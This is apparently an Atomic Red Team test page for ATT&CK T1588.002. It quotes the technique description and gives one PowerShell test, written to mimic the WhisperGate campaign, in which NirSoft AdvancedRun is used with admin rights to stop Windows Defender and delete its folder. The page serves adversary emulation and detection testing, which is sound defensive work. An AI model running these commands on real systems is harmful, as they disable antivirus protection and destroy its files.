# T1588.002 - Tool
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1588/002)
<blockquote>Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)

Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).</blockquote>

## Atomic Tests

- [Atomic Test #1 - Run NirSoft AdvancedRun](#atomic-test-1---run-nirsoft-advancedrun)


<br/>

## Atomic Test #1 - Run NirSoft AdvancedRun
Information on NirSoft AdvancedRun and it's creators found here: http://www.nirsoft.net/utils/advanced_run.html
This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.
Upon successful execution, AdvancedRun.exe will run and stop Defender and attempt to delete the Defender folder on disk.

**Supported Platforms:** Windows


**auto_generated_guid:** f7d43d35-d628-4582-bb03-01b1c5e10d11





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| local_folder | Local path of AdvancedRun executable | Path | PathToAtomicsFolder&#92;T1588.002&#92;bin&#92;AdvancedRun|
| local_executable | name of the advancedrun executable | String | advancedrun.exe|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
#{local_folder}\#{local_executable} /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
#{local_folder}\#{local_executable} "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run
```

#### Cleanup Commands:
```powershell
Remove-Item #{local_folder}\#{local_executable} -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: Advancedrun.exe must be located at #{local_folder}\#{local_executable}
##### Check Prereq Commands:
```powershell
if(Test-Path -Path #{local_folder}\#{local_executable}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "http://www.nirsoft.net/utils/advancedrun.zip" -UseBasicParsing -OutFile "$env:temp\AdvancedRun.zip"
  Expand-Archive $env:temp\AdvancedRun.zip #{local_folder} -Force
```




<br/>
